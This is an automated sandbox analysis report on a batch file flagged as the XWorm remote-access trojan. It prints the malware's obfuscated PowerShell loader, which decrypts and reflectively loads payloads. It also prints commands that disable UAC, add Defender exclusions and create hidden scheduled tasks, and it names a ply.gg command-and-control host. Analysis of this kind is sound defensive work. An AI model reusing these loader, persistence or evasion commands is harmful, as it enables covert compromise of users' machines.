Malware Analysis Report

2024-09-11 14:54

Sample ID 240609-c7gfzadb43
Target PaidOptimizationPanel.bat
SHA256 4b2bbb9a5c6d64c6bda74a64ad364a8a2a1c8e6b3d93e41a335a5c5792789923
Tags
xworm execution rat trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

4b2bbb9a5c6d64c6bda74a64ad364a8a2a1c8e6b3d93e41a335a5c5792789923

Threat Level: Known bad

The file PaidOptimizationPanel.bat was found to be: Known bad.

Malicious Activity Summary

xworm execution rat trojan

Detect Xworm Payload

Xworm

Command and Scripting Interpreter: PowerShell

Command and Scripting Interpreter: PowerShell

Looks up external IP address via web service

Modifies registry key

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Creates scheduled task(s)

MITRE ATT&CK Matrix V13

Initial Access
TA0001
Execution
TA0002
Command and Scripting Interpreter
T1059
PowerShell
T1059.001
Scheduled Task/Job
T1053
Persistence
TA0003
Scheduled Task/Job
T1053
Privilege Escalation
TA0004
Scheduled Task/Job
T1053
Defense Evasion
TA0005
Modify Registry
T1112
Credential Access
TA0006
Discovery
TA0007
Lateral Movement
TA0008
Collection
TA0009
Exfiltration
TA0010
Command and Control
TA0011
Impact
TA0040
Resource Development
TA0042
Reconnaissance
TA0043

Analysis: static1

Detonation Overview

Reported

2024-06-09 02:42

Signatures

N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-09 02:42

Reported

2024-06-09 02:43

Platform

win10v2004-20240508-en

Max time kernel

0s

Max time network

23s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\PaidOptimizationPanel.bat"

Signatures

Detect Xworm Payload

Description Indicator Process Target
N/A N/A N/A N/A

Xworm

trojan rat xworm

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\System32\schtasks.exe N/A

Modifies registry key

Description Indicator Process Target
N/A N/A C:\Windows\system32\reg.exe N/A
N/A N/A C:\Windows\system32\reg.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4820 wrote to memory of 2868 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 4820 wrote to memory of 2868 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 4820 wrote to memory of 4268 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4820 wrote to memory of 4268 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\PaidOptimizationPanel.bat"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('8VrnqL5FdmunZzeVZ6qm3mq6yWYLBaHrvu1oPeSLCUs='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6e3JZfxMjzGGrf+BTRgQsw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $icvPY=New-Object System.IO.MemoryStream(,$param_var); $fyiKi=New-Object System.IO.MemoryStream; $qOVHn=New-Object System.IO.Compression.GZipStream($icvPY, [IO.Compression.CompressionMode]::Decompress); $qOVHn.CopyTo($fyiKi); $qOVHn.Dispose(); $icvPY.Dispose(); $fyiKi.Dispose(); $fyiKi.ToArray();}function execute_function($param_var,$param2_var){ $BdoSp=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $CXjdj=$BdoSp.EntryPoint; $CXjdj.Invoke($null, $param2_var);}$SmpZi = 'C:\Users\Admin\AppData\Local\Temp\PaidOptimizationPanel.bat';$host.UI.RawUI.WindowTitle = $SmpZi;$ACAQw=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($SmpZi).Split([Environment]::NewLine);foreach ($WeFFm in $ACAQw) { if ($WeFFm.StartsWith('aZvtqFFHKksqGUkZuRxa')) { $Rumeg=$WeFFm.Substring(20); break; }}$payloads_var=[string[]]$Rumeg.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_506_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_506.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_506.vbs"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_506.bat" "

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('8VrnqL5FdmunZzeVZ6qm3mq6yWYLBaHrvu1oPeSLCUs='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6e3JZfxMjzGGrf+BTRgQsw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $icvPY=New-Object System.IO.MemoryStream(,$param_var); $fyiKi=New-Object System.IO.MemoryStream; $qOVHn=New-Object System.IO.Compression.GZipStream($icvPY, [IO.Compression.CompressionMode]::Decompress); $qOVHn.CopyTo($fyiKi); $qOVHn.Dispose(); $icvPY.Dispose(); $fyiKi.Dispose(); $fyiKi.ToArray();}function execute_function($param_var,$param2_var){ $BdoSp=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $CXjdj=$BdoSp.EntryPoint; $CXjdj.Invoke($null, $param2_var);}$SmpZi = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_506.bat';$host.UI.RawUI.WindowTitle = $SmpZi;$ACAQw=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($SmpZi).Split([Environment]::NewLine);foreach ($WeFFm in $ACAQw) { if ($WeFFm.StartsWith('aZvtqFFHKksqGUkZuRxa')) { $Rumeg=$WeFFm.Substring(20); break; }}$payloads_var=[string[]]$Rumeg.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Rizzsxn_Tweaking_Panel.bat" "

C:\Windows\system32\reg.exe

Reg.exe ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d "0" /f

C:\Windows\system32\mode.com

mode 145,30

C:\Windows\system32\reg.exe

reg add HKLM /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "prompt #$H#$E# & echo on & for %b in (1) do rem"

C:\Windows\system32\reg.exe

reg add HKCU\CONSOLE /v VirtualTerminalLevel /t REG_DWORD /d 1 /f

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft Edge'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Microsoft Edge'

C:\Windows\System32\schtasks.exe

"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Microsoft Edge" /tr "C:\Users\Admin\AppData\Roaming\Microsoft Edge"

Network

Country Destination Domain Proto
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 64.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 1.112.95.208.in-addr.arpa udp
US 8.8.8.8:53 loans-clip.gl.at.ply.gg udp
US 147.185.221.20:6807 loans-clip.gl.at.ply.gg tcp
US 8.8.8.8:53 20.221.185.147.in-addr.arpa udp

Files

memory/4268-0-0x00007FFED0BB3000-0x00007FFED0BB5000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_axrtn4nd.fwl.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4268-10-0x000002673A9E0000-0x000002673AA02000-memory.dmp

memory/4268-11-0x00007FFED0BB0000-0x00007FFED1671000-memory.dmp

memory/4268-12-0x00007FFED0BB0000-0x00007FFED1671000-memory.dmp

memory/4268-13-0x000002673B000000-0x000002673B044000-memory.dmp

memory/4268-14-0x000002673B0D0000-0x000002673B146000-memory.dmp

memory/4268-15-0x000002673AA10000-0x000002673AA18000-memory.dmp

memory/4268-16-0x000002673B150000-0x000002673B1EC000-memory.dmp

memory/1364-27-0x00007FFED0BB0000-0x00007FFED1671000-memory.dmp

memory/1364-28-0x00007FFED0BB0000-0x00007FFED1671000-memory.dmp

memory/1364-29-0x00007FFED0BB0000-0x00007FFED1671000-memory.dmp

memory/1364-32-0x000001D955270000-0x000001D95548C000-memory.dmp

memory/1364-33-0x00007FFED0BB0000-0x00007FFED1671000-memory.dmp

C:\Users\Admin\AppData\Roaming\$phantom-startup_str_506.vbs

MD5 54a19937dcb90536ca915044c726cb05
SHA1 d30dce413127ae2ff3e0b33776fbc3a36507c250
SHA256 2cf00e0fefaf438ee96664cb8a028fb49e1eda1cd902814cf2af5b0cf358e740
SHA512 700e186b455a33a2d4f2485d2997336ed3973ec011aceccad8e561cb99a8874ccedc55a6a48acbf11fe06de9a5f398efea5e3eaf3fd6181ab0c4a52d78a75fb7

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 661739d384d9dfd807a089721202900b
SHA1 5b2c5d6a7122b4ce849dc98e79a7713038feac55
SHA256 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
SHA512 81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

C:\Users\Admin\AppData\Roaming\$phantom-startup_str_506.bat

MD5 f2ab9e899e7a76f48bf673057e7787ea
SHA1 596f8f3f081ab0a87bb651adf3918761129cb59e
SHA256 4b2bbb9a5c6d64c6bda74a64ad364a8a2a1c8e6b3d93e41a335a5c5792789923
SHA512 d39c261f5cec6d4e51e68cd87b14127041cf99507ef0cc9c9bf05872ca72da3bb74d4aacb55f864c00d6532d2a9117616fad5ecd996644a79ff1bac2eb977370

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

MD5 005bc2ef5a9d890fb2297be6a36f01c2
SHA1 0c52adee1316c54b0bfdc510c0963196e7ebb430
SHA256 342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d
SHA512 f8aadbd743495d24d9476a5bb12c8f93ffb7b3cc8a8c8ecb49fd50411330c676c007da6a3d62258d5f13dd5dacc91b28c5577f7fbf53c090b52e802f5cc4ea22

memory/3424-51-0x0000000007A80000-0x0000000007AAA000-memory.dmp

memory/3164-98-0x00007FFEAEE70000-0x00007FFEAEE80000-memory.dmp

memory/3424-97-0x00007FFEAEE70000-0x00007FFEAEE80000-memory.dmp

memory/1564-108-0x00007FFEAEE70000-0x00007FFEAEE80000-memory.dmp

memory/2132-110-0x00007FFEAEE70000-0x00007FFEAEE80000-memory.dmp

memory/796-109-0x00007FFEAEE70000-0x00007FFEAEE80000-memory.dmp

memory/2392-113-0x00007FFEAEE70000-0x00007FFEAEE80000-memory.dmp

memory/1036-112-0x00007FFEAEE70000-0x00007FFEAEE80000-memory.dmp

memory/4568-145-0x00000268F7470000-0x00000268F74A6000-memory.dmp

memory/4268-147-0x00007FFED0BB0000-0x00007FFED1671000-memory.dmp

memory/1244-111-0x00007FFEAEE70000-0x00007FFEAEE80000-memory.dmp

memory/956-103-0x00007FFEAEE70000-0x00007FFEAEE80000-memory.dmp

memory/2488-107-0x00007FFEAEE70000-0x00007FFEAEE80000-memory.dmp

memory/64-106-0x00007FFEAEE70000-0x00007FFEAEE80000-memory.dmp

memory/1668-105-0x00007FFEAEE70000-0x00007FFEAEE80000-memory.dmp

memory/1152-104-0x00007FFEAEE70000-0x00007FFEAEE80000-memory.dmp

memory/4512-102-0x00007FFEAEE70000-0x00007FFEAEE80000-memory.dmp

memory/1752-101-0x00007FFEAEE70000-0x00007FFEAEE80000-memory.dmp

memory/3540-100-0x00007FFEAEE70000-0x00007FFEAEE80000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Rizzsxn_Tweaking_Panel.bat

MD5 e03a31f264e58472bd637efcad0d1a03
SHA1 3796dd30aebcf3aa6d006d5dddd7d2864e14963e
SHA256 2097980870ce3cb140d151b4e681a4ee28d6d27e751727a84b929b4e03d48673
SHA512 ccfc0eeeb3a8a758bea0d3c85df3fee825516f416d429d3f1bd4d40797a989485ca3b6c12a827b1525bef2c17f86fe26c8bc30cc5eae025af039fa2d4535202d

memory/2740-99-0x00007FFEAEE70000-0x00007FFEAEE80000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 12c844ed8342738dacc6eb0072c43257
SHA1 b7f2f9e3ec4aaf5e2996720f129cd64887ac91d7
SHA256 2afeb7db4e46d3c1524512a73448e9cd0121deec761d8aa54fa9fe8b56df7519
SHA512 e3de9103533a69cccc36cd377297ba3ec9bd7a1159e1349d2cc01ab66a88a5a82b4ee3af61fab586a0cdfab915c7408735439fd0462c5c2cc2c787cb0765766a

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 6d42b6da621e8df5674e26b799c8e2aa
SHA1 ab3ce1327ea1eeedb987ec823d5e0cb146bafa48
SHA256 5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c
SHA512 53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 a7cc007980e419d553568a106210549a
SHA1 c03099706b75071f36c3962fcc60a22f197711e0
SHA256 a5735921fc72189c8bf577f3911486cf031708dc8d6bc764fe3e593c0a053165
SHA512 b9aaf29403c467daef80a1ae87478afc33b78f4e1ca16189557011bb83cf9b3e29a0f85c69fa209c45201fb28baca47d31756eee07b79c6312c506e8370f7666

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 4178a021dab6578724f63a6a72b9b13b
SHA1 8e5d61c21edaafe4e2257ebe53f9b37b723838b7
SHA256 347338241585c510bb1fafae13447879318610ca4d844b0e73089957911d77fe
SHA512 0f49991948129415c2a02298072055d4de521e4a8cb9ae887bb2096683668fcb491b99d58fd6e239463a5ac981d756c4b2827cb52c1e1253b9cb114095e140c9

C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

MD5 8abf2d6067c6f3191a015f84aa9b6efe
SHA1 98f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7
SHA256 ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea
SHA512 c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63

C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

MD5 7d612892b20e70250dbd00d0cdd4f09b
SHA1 63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5
SHA256 727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02
SHA512 f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1

C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

MD5 ceb7caa4e9c4b8d760dbf7e9e5ca44c5
SHA1 a3879621f9493414d497ea6d70fbf17e283d5c08
SHA256 98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9
SHA512 1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff

C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

MD5 0b990e24f1e839462c0ac35fef1d119e
SHA1 9e17905f8f68f9ce0a2024d57b537aa8b39c6708
SHA256 a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a
SHA512 c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4

C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

MD5 1e8e2076314d54dd72e7ee09ff8a52ab
SHA1 5fd0a67671430f66237f483eef39ff599b892272
SHA256 55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f
SHA512 5b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6

C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

MD5 f313c5b4f95605026428425586317353
SHA1 06be66fa06e1cffc54459c38d3d258f46669d01a
SHA256 129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b
SHA512 b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-09 02:42

Reported

2024-06-09 02:44

Platform

win7-20240220-en

Max time kernel

52s

Max time network

16s

Command Line

cmd /c "C:\Users\Admin\AppData\Local\Temp\PaidOptimizationPanel.bat"

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2908 wrote to memory of 2688 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2908 wrote to memory of 2688 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2908 wrote to memory of 2688 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2908 wrote to memory of 2920 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2908 wrote to memory of 2920 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2908 wrote to memory of 2920 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\system32\cmd.exe

cmd /c "C:\Users\Admin\AppData\Local\Temp\PaidOptimizationPanel.bat"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('8VrnqL5FdmunZzeVZ6qm3mq6yWYLBaHrvu1oPeSLCUs='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6e3JZfxMjzGGrf+BTRgQsw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $icvPY=New-Object System.IO.MemoryStream(,$param_var); $fyiKi=New-Object System.IO.MemoryStream; $qOVHn=New-Object System.IO.Compression.GZipStream($icvPY, [IO.Compression.CompressionMode]::Decompress); $qOVHn.CopyTo($fyiKi); $qOVHn.Dispose(); $icvPY.Dispose(); $fyiKi.Dispose(); $fyiKi.ToArray();}function execute_function($param_var,$param2_var){ $BdoSp=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $CXjdj=$BdoSp.EntryPoint; $CXjdj.Invoke($null, $param2_var);}$SmpZi = 'C:\Users\Admin\AppData\Local\Temp\PaidOptimizationPanel.bat';$host.UI.RawUI.WindowTitle = $SmpZi;$ACAQw=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($SmpZi).Split([Environment]::NewLine);foreach ($WeFFm in $ACAQw) { if ($WeFFm.StartsWith('aZvtqFFHKksqGUkZuRxa')) { $Rumeg=$WeFFm.Substring(20); break; }}$payloads_var=[string[]]$Rumeg.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden

Network

N/A

Files

memory/2920-4-0x000007FEF5CEE000-0x000007FEF5CEF000-memory.dmp

memory/2920-6-0x0000000002810000-0x0000000002818000-memory.dmp

memory/2920-7-0x000007FEF5A30000-0x000007FEF63CD000-memory.dmp

memory/2920-5-0x000000001B5F0000-0x000000001B8D2000-memory.dmp

memory/2920-9-0x000007FEF5A30000-0x000007FEF63CD000-memory.dmp

memory/2920-8-0x000007FEF5A30000-0x000007FEF63CD000-memory.dmp

memory/2920-10-0x000007FEF5A30000-0x000007FEF63CD000-memory.dmp

memory/2920-11-0x000007FEF5A30000-0x000007FEF63CD000-memory.dmp